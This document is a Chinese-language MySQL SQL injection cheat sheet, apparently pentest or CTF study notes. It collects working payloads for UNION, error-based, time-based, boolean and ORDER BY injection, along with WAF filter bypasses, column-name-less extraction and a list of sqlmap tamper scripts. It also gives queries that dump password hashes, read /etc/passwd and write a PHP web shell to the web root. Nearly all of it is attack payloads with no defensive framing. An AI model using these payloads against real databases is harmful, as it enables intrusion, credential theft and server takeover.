2019-12-07
一些基本信息
MySQL版本 version()
当前用户名 user()
数据库名 database()
数据库路径 @@datadir
操作系统版本 @@version_compile_os
安装 MySQL 的安装路径 @@basedir
所有用户:
select group_concat(user) from mysql.user
用户hash:
select group_concat(password) from mysql.user where user='root'
所有数据库:
SELECT group_concat(schema_name) from information_schema.schemata
表名:
SELECT group_concat(table_name) from information_schema.tables where table_schema='库名' //表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来 SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='库名'
字段名:
SELECT group_concat(column_name) from information_schema.columns where table_name='表名'
读文件:
SELECT load_file('/etc/passwd')
写文件:
SELECT '' into outfile '/var/www/html/shell.php'
UNION注入
注意:Mysql要大于5.0
找到注入点后获取字段数
order by num
查看哪些地方有字段的回显
id=-1 UNION SELECT 1,2...,n
获取系统数据库名
select null,null,schema_name from information_schema.schemata
直接获取当前数据库名
select null,null,...,database()
获取数据库中的表
select null,null,...,group_concat(table_name) from information_schema.tables where table_schema=database()
获取表中的字段
select null,null,...,group_concat(column_name) from information_schema.columns where table_schema=database() and tadble_name=''
获取各个字段值
select null,group_concat(,) from
报错注入
若有报错信息则选择报错注入
UpdateXml(有长度限制,最长32位)
id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
如果concat被过滤了,可以使用MAKE_SET函数
ExtractValue(有长度限制,最长32位)
id=1 and extractvalue(1, concat(0x7e, (select @@version),0x7e))
如果concat被过滤了,可以使用MAKE_SET函数
exp(5.5.5以上)
普通查询 select exp(~(select*from(select user())x)); 得到表名: select exp(~(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)); 得到列名: select exp(~(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)); 检索数据: select exp(~ (select*from(select concat_ws(':',id, username, password) from users limit 0,1)x));
mysql>5.5.53时,则不能返回查询结果
floor(需要三个函数支持)
Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a;
count(*)、rand()、group by三者缺一不可
其余报错
GeometryCollection() id = 1 AND GeometryCollection((select * from (select * from(select user())a)b)) polygon() id =1 AND polygon((select * from(select * from(select user())a)b)) multipoint() id = 1 AND multipoint((select * from(select * from(select user())a)b)) multilinestring() id = 1 AND multilinestring((select * from(select * from(select user())a)b)) linestring() id = 1 AND LINESTRING((select * from(select * from(select user())a)b)) multipolygon() id =1 AND multipolygon((select * from(select * from(select user())a)b))
时间盲注
sleep
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23
if判断语句,条件为假,执行sleep
mysql> select sleep(5); +----------+ | sleep(5) | +----------+ | 0 | +----------+ 1 row in set (5.00 sec)
BENCHMARK
BENCHMARK(count,expr)
在运行过程中占用大量的cpu资源
mysql> select benchmark(10000000,sha(1)); +----------------------------+ | benchmark(10000000,sha(1)) | +----------------------------+ | 0 | +----------------------------+ 1 row in set (2.79 sec)
笛卡尔积
' and if(ascii(substr((select database()),%d,1))<%d,(SELECT count(*) FROM information_schema.columns A, information_schema.columns B,information_schema.tables C),1)#
查询数据量极大的表造成延时。
mysql> SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables C; +------------+ | count(*) | +------------+ | 2651020120 | +------------+ 1 row in set (1 min 51.05 sec)
GET_LOCK
利用限制
利用场景是有条件限制的:需要提供长连接。在Apache+PHP搭建的环境中需要使用 mysql_pconnect函数来连接数据库。
需要开两个session测试。
SESSION A
mysql> select get_lock('test',1); +--------------------+ | get_lock('test',1) | +--------------------+ | 1 | +--------------------+ 1 row in set (0.00 sec)
SESSION B
mysql> select get_lock('test',5); +--------------------+ | get_lock('test',5) | +--------------------+ | 0 | +--------------------+ 1 row in set (5.00 sec)
RLIKE
通过rpad或repeat构造长字符串,加以计算量大的pattern,通过repeat的参数可以控制延时长短。
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b'); +-------------------------------------------------------------+ | rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') | +-------------------------------------------------------------+ | 0 | +-------------------------------------------------------------+ 1 row in set (5.27 sec)
不正确正则
select if(substr((select 1)='1',1,1),concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b',1);
concat(rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a'),rpad(1,999999,'a')) RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b'
以上代码等同于 sleep(5)
布尔盲注
left(user(),1)>'r' right(user(),1)>'r' substr(user(),1,1)='r' mid(user(),1,1)='r' greatest("sed",database())= "sed" //返回最大值再与字符串比较 select least("sea",database())="sea"; //返回最小值再与字符串比较 //不使用逗号 user() regexp '^[a-z]' user() like 'root%' //注意_/%通配符,建议写脚本的时候时候写到字符集最后面 POSITION('root' in user()) mid(user() from 1 for 1)='r' mid(user() from 1)='r' substr(user() from 1 for 1)='r' substr(user() from 1)='r' ASCII()、ORD()和CHAR()函数一般用做辅助。
其他注入姿势
update、insert、delete注入
pow溢出报错
pow(x,y)表示计算x的y次方,当计算值过大时,会发生DOUBLE溢出,数据库报错
select 1 and if(1=1,1,pow(2,2222222222222222222))
过滤了延时语句,正常页面与错误页面没有区别,当sql语句出错时会返回自定义的错误页面。
XOR注入
admin'^(ascii(mid((password)from(i)))>j)^'1'='1'%23 或者 admin'^(ascii(mid((password)from(i)for(1)))>j)^'1'='1'%23
过滤了关键字:and、or
过滤了逗号,
过滤了空格
regexp注入
select (select语句) regexp '正则'
过滤了=、in、like
Order by 注入
ORDER BY {col_name | expr | position}, order by 后面可以跟字段名,表达式和字段的位置,字段的位置需要是整数型。
常规的payload贴上 Smile 师傅 Blog 里归纳的
/?order=IF(1=1,name,price) 通过name字段排序 /?order=IF(1=2,name,price) 通过price字段排序 /?order=(CASE+WHEN+(1=1)+THEN+name+ELSE+price+END) 通过name字段排序 /?order=(CASE+WHEN+(1=2)+THEN+name+ELSE+price+END) 通过price字段排序 /?order=IFNULL(NULL,price) 通过price字段排序 /?order=IFNULL(NULL,name) 通过name字段排序 /?order=rand(1=1) /?order=rand(1=2) /?order=IF(1=1,1,(select+1+from+information_schema.tables)) 正常 /?order=IF(1=2,1,(select+1+from+information_schema.tables)) 错误 利用regexp /?order=(select+1+regexp+if(1=1,1,0x00)) 正常 /?order=(select+1+regexp+if(1=2,1,0x00)) 错误 利用updatexml /?order=updatexml(1,if(1=1,1,user()),1) 正确 /?order=updatexml(1,if(1=2,1,user()),1) 错误 利用extractvalue /?order=extractvalue(1,if(1=1,1,user())) 正确 /?order=extractvalue(1,if(1=2,1,user())) 错误 sleep /?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常响应时间 /?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒 数据猜解 通过下可以得知user()第一位为r,ascii码的16进制为0x72: /?order=(select+1+regexp+if(substring(user(),1,1)=0x72,1,0x00)) 正确 /?order=(select+1+regexp+if(substring(user(),1,1)=0x71,1,0x00)) 错误 猜解当前数据库的表名: /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+ table_schema%3ddatabase()+limit+0,1),1,1)=0x67,1,0x00)) 正确 /?order=(select+1+regexp+if(substring((select+concat(table_name)from+information_schema.tables+where+ table_schema%3ddatabase()+limit+0,1),1,1)=0x66,1,0x00)) 错误 猜解指定表名中的列名: /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns +where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x69,1,0x00)) 正常 /?order=(select+1+regexp+if(substring((select+concat(column_name)from+information_schema.columns +where+table_schema%3ddatabase()+and+table_name%3d0x676f6f6473+limit+0,1),1,1)=0x68,1,0x00)) 错误
其他的
提一下之前 @Threezh1 出的题目 ORDER BY 注入
DNSlog SQL盲注
先知文章 浅谈DNSlog SQL盲注
Mysql约束攻击
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。换句话说“vampire”等同于“vampire ”,对于绝大多数情况来说都是成立的(诸如WHERE子句中的字符串或INSERT语句中的字符串)
在mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断
mysql> create table user(id int primary key,user varchar(10),pwd varchar(20)); Query OK, 0 rows affected (0.38 sec) mysql> insert into user value(1,'admin','123'); Query OK, 1 row affected (0.00 sec) mysql> insert into user value(2,'admin ','456'); Query OK, 1 row affected, 1 warning (0.00 sec) mysql> select * from user; +----+------------+------+ | id | user | pwd | +----+------------+------+ | 2 | admin | 456 | | 1 | admin | 123 | +----+------------+------+ 2 rows in set (0.00 sec) mysql> select length(user) from user; +--------------+ | length(user) | +--------------+ | 10 | | 5 | +--------------+ 2 rows in set (0.00 sec) 长度是不一样的,但是在受影响的版本中,id=2的user值admin 在前端登录处登录并且在后端验证中,admin 是等同id=1的user值admin的.
Bypass小结
过滤空格
两个空格代替一个空格,用Tab代替空格,注释代替空格
%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/
括号绕过空格
id=1'and(sleep(ascii(substr(database(),1,1))=109)) #
空格被过滤,括号没有被过滤,可以用括号绕过
过滤逗号
盲注(substr(),mid(),limit)
select substr(database() from 1 for 1); select mid(database() from 1 for 1); //对于limit可以使用offset来绕过 limit 0,1 等价于 limit 1 offset 0
直接替换为like注入
select user() like 'ro%'
注意通配符 %
union + join注入
union select 1,2 #等价于 union select * from (select 1)a join (select 2)b
过滤比较符号
过滤了等号
原代码:select * from users where id =1 regexp: select * from users where id REGEXP '^1$' !: select * from users where !(id1) in: select 'user' in ('user'); 字符串都是可以用16进制代替的. 用函数绕过: strcmp(),locate(s1,s) , position(s1 in s) , instr(s,s1), greatest()
过滤了大于小于
greatest(a,b),返回a和b中较大的那个数。 select * from users where id=1 and ord(mid(database(),0,1))>1 等价 select * from users where id=1 and greatest(ord(mid(database(),0,1)),123)=123
过滤了if
case…when…then…else来代替
select * from users where id=1 and if(1=1,sleep(5),0) 等价于: select * from users where id=1 and case when 1=1 then sleep(5) else 0 end
绕过未知字段名的技巧
waf拦截了information_schema、columns、tables、database、schema等关键字或函数
innodb
MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了 innodb_table_stats
和 innodb_index_stats
这两张日志表。如果数据表的引擎是 innodb
,则会在这两张表中记录表、键的信息 。
如果waf掉了information我们可以利用这两个表注入数据库名和表名。
限制:不能查询到字段名
select * from mysql.innodb_table_stats; select * from mysql.innodb_index_stats;
sys
MySQL 5.7版中,新加入了sys schema,里面整合了各种资料库资讯
schema_auto_increment_columns,该视图的作用简单来说就是用来对表自增ID的监控。
sqli-labs为例子
# schema_auto_increment_columns ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+ # schema_table_statistics_with_buffer ?id=-1' union all select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+
- join
- join using(xx)
无列名注入
mysql> select * from users; +----+----------+------------+ | id | username | password | +----+----------+------------+ | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | .............. mysql> select `3` from (select 1,2,3 union select * from users)a limit 1,1; +------+ | 3 | +------+ | Dumb | +------+ 1 row in set (0.00 sec) mysql> select `1`,`2`,`3` from (select 1,2,3 union select * from users)a limit 2,1; +---+----------+------------+ | 1 | 2 | 3 | +---+----------+------------+ | 2 | Angelina | I-kill-you | +---+----------+------------+ 1 row in set (0.00 sec)
当 ` 不能使用的时候,使用别名来代替:
select b from (select 1,2,3 as b,4,5 union select * from users)a;
mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | a | b | c | d | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d; +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ | 1 | 2 | 3 | 4 | +---+---+---+---+ 1 row in set (0.00 sec) mysql> select * from (select 1)a,(select 2)b,(select 3)c union select * from users; +----+----------+------------+ | 1 | 2 | 3 | +----+----------+------------+ | 1 | 2 | 3 | | 1 | Dumb | Dumb | | 2 | Angelina | I-kill-you | | 3 | Dummy | p@ssword | +----+----------+------------+ 4 rows in set (0.00 sec) mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e; +------------+ | 3 | +------------+ | 3 | | Dumb | | I-kill-you | | p@ssword | +------------+ 4 rows in set (0.00 sec) mysql> select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3; +----------+ | 3 | +----------+ | p@ssword | +----------+ 1 row in set (0.00 sec) mysql> select * from users where id=1 union select (select e.3 from (select * from (select 1)a,(select 2)b,(select 3)c union select * from users)e limit 1 offset 3)f,(select 1)g,(select 1)h; +----------+----------+----------+ | id | username | password | +----------+----------+----------+ | 1 | Dumb | Dumb | | p@ssword | 1 | 1 | +----------+----------+----------+ 2 rows in set (0.00 sec)
Sqlmap tamper
apostrophemask.py 用UTF-8全角字符替换单引号字符 apostrophenullencode.py 用非法双字节unicode字符替换单引号字符 appendnullbyte.py 在payload末尾添加空字符编码 base64encode.py 对给定的payload全部字符使用Base64编码 between.py 分别用“NOT BETWEEN 0 AND #”替换大于号“>”,“BETWEEN # AND #”替换等于号“=” bluecoat.py 在SQL语句之后用有效的随机空白符替换空格符,随后用“LIKE”替换等于号“=” chardoubleencode.py 对给定的payload全部字符使用双重URL编码(不处理已经编码的字符) charencode.py 对给定的payload全部字符使用URL编码(不处理已经编码的字符) charunicodeencode.py 对给定的payload的非编码字符使用Unicode URL编码(不处理已经编码的字符) concat2concatws.py 用“CONCAT_WS(MID(CHAR(0), 0, 0), A, B)”替换像“CONCAT(A, B)”的实例 equaltolike.py 用“LIKE”运算符替换全部等于号“=” greatest.py 用“GREATEST”函数替换大于号“>” halfversionedmorekeywords.py 在每个关键字之前添加MySQL注释 ifnull2ifisnull.py 用“IF(ISNULL(A), B, A)”替换像“IFNULL(A, B)”的实例 lowercase.py 用小写值替换每个关键字字符 modsecurityversioned.py 用注释包围完整的查询 modsecurityzeroversioned.py 用当中带有数字零的注释包围完整的查询 multiplespaces.py 在SQL关键字周围添加多个空格 nonrecursivereplacement.py 用representations替换预定义SQL关键字,适用于过滤器 overlongutf8.py 转换给定的payload当中的所有字符 percentage.py 在每个字符之前添加一个百分号 randomcase.py 随机转换每个关键字字符的大小写 randomcomments.py 向SQL关键字中插入随机注释 securesphere.py 添加经过特殊构造的字符串 sp_password.py 向payload末尾添加“sp_password” for automatic obfuscation from DBMS logs space2comment.py 用“/**/”替换空格符 space2dash.py 用破折号注释符“–”其次是一个随机字符串和一个换行符替换空格符 space2hash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2morehash.py 用磅注释符“#”其次是一个随机字符串和一个换行符替换空格符 space2mssqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mssqlhash.py 用磅注释符“#”其次是一个换行符替换空格符space2mysqlblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 space2mysqldash.py 用破折号注释符“–”其次是一个换行符替换空格符 space2plus.py 用加号“+”替换空格符 space2randomblank.py 用一组有效的备选字符集当中的随机空白符替换空格符 unionalltounion.py 用“UNION SELECT”替换“UNION ALL SELECT” unmagicquotes.py 用一个多字节组合%bf%27和末尾通用注释一起替换空格符 varnish.py 添加一个HTTP头“X-originating-IP”来绕过WAF versionedkeywords.py 用MySQL注释包围每个非函数关键字 versionedmorekeywords.py 用MySQL注释包围每个关键字 xforwardedfor.py 添加一个伪造的HTTP头“X-Forwarded-For”来绕过WAF